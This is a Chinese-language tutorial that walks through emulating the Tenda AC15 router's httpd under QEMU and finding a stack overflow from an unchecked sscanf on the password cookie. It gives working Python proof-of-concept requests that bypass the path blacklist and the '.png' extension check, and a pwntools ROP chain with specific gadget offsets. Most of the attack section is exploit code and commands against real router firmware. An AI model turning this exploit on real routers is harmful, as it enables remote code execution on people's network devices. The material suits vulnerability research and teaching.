tenda固件栈溢出漏洞挖掘和iot常用工具介绍和使用
字数 993 2025-08-22 12:23:00
Tenda AC15路由器固件栈溢出漏洞分析与利用教学文档
1. 环境准备
1.1 固件获取
- 路由器型号: Tenda AC15
- 固件版本: 15.03.1.16_multi
- 下载地址: https://drivers.softpedia.com/dyn-postdownload.php/d27e8410d32cd9de63a3506c47ded1bc/61ff85c5/75eb7/4/1
1.2 工具安装
sudo apt install binwalk qemu-user-static libc6-arm* libc6-dev-arm* uml-utilities bridge-utils
2. 固件分析
2.1 固件解包
使用binwalk提取固件内容:
binwalk -Me US.bin
2.2 文件架构分析
分析httpd可执行文件:
readelf -h squashfs-root/bin/httpd
输出显示为32位ARM架构的ELF文件。
3. 仿真环境搭建
3.1 QEMU配置
cp /usr/bin/qemu-arm-static .
sudo chroot ./ ./qemu-arm-static ./bin/httpd
3.2 补丁修改
使用IDA Pro打开httpd文件:
- 搜索"WeLoveLinux"字符串
- 找到死循环位置,将
CMP R3,#0修改为CMP R3,#1 - 保存修改
3.3 网络配置
sudo brctl addbr br0
sudo brctl addif br0 eth0
sudo ifconfig br0 up
sudo dhclient br0
sudo tunctl -t br0 -u `whoami`
sudo ifconfig br0 192.168.65.1/24
4. 漏洞分析
4.1 漏洞位置
漏洞位于R7WebsSecurityHandler函数中:
if (*(_DWORD *)(a1 + 184)) {
v40 = strstr(*(const char **)(a1 + 184), "password=");
if (v40)
sscanf(v40, "%s", v33);
else
sscanf(*(const char **)(a1 + 184), "%s", v33);
}
未对用户输入进行长度检查,导致栈溢出。
4.2 访问路径限制
需要构造不在以下列表中的路径:
/public/
/lang/
img/main-logo.png
reasy-ui-1.0.3.js
/favicon.ico
/kns-query
/wdinfo.php
/goform/telnet
/goform/fast_setting
/goform/ate
/goform/InsertWhite
/yun_safe.html
/goform/getWanConnectStatus
/goform/getProduct
/goform/getRebootStatus
/loginerr.html
5. 漏洞利用
5.1 调试设置
sudo chroot ./ ./qemu-arm-static -g 4444 ./bin/httpd
在另一个终端:
gdb-multiarch ./httpd
target remote :4444
b *0x002ED18 # 在漏洞函数结束处设置断点
continue
5.2 初始PoC
import requests
URL = "http://192.168.7.44:80/goform/blonet"
cookie = {"Cookie": "password=" + "a" * 0x400}
requests.get(url=URL, cookies=cookie)
5.3 绕过检查
发现程序在0x0002c5cc处停止,需要绕过文件扩展名检查:
import requests
URL = "http://192.168.7.44:80/goform/blonet"
cookie = {"Cookie": "password=" + "a" * 0x400 + ".pngAAA"}
requests.get(url=URL, cookies=cookie)
5.4 ROP链构造
获取libc基地址后构造ROP链:
from pwn import *
base = 0xf65e5000 # libc基地址
libc = ELF('./lib/libc.so.0')
puts = base + libc.sym['puts']
_str = "Hello \x00"
mov_r0 = base + 0x00040cb8 # mov r0, sp; blx r3;
pop_r3 = base + 0x00018298 # pop {r3, pc};
URL = "http://192.168.7.44:80/goform/hello"
pl = 'a' * 444 + ".png" + p32(pop_r3) + p32(puts) + p32(mov_r0) + _str
cookie = {"Cookie": "password=" + pl}
requests.get(url=URL, cookies=cookie)
6. 关键点总结
- 固件分析: 使用binwalk提取固件,确认架构为ARM32
- 环境搭建: 使用QEMU模拟ARM环境,配置网络桥接
- 漏洞定位: 在httpd的R7WebsSecurityHandler函数中发现未检查长度的sscanf调用
- 路径绕过: 构造不在黑名单中的路径(如/goform/blonet)
- 检查绕过: 添加.png后缀绕过文件扩展名检查
- ROP利用: 利用已知gadget构造ROP链执行任意代码
7. 扩展知识
- ARM架构调用约定: 前四个参数通过R0-R3传递,返回值通过R0返回
- 栈布局: 需要精确计算偏移量覆盖返回地址
- 内存保护: QEMU默认不开启ASLR,便于调试
- 漏洞利用技巧: 使用字符串操作函数作为攻击向量时,注意空字节和特殊字符的处理
通过以上步骤,可以完整复现Tenda AC15路由器的栈溢出漏洞并实现利用。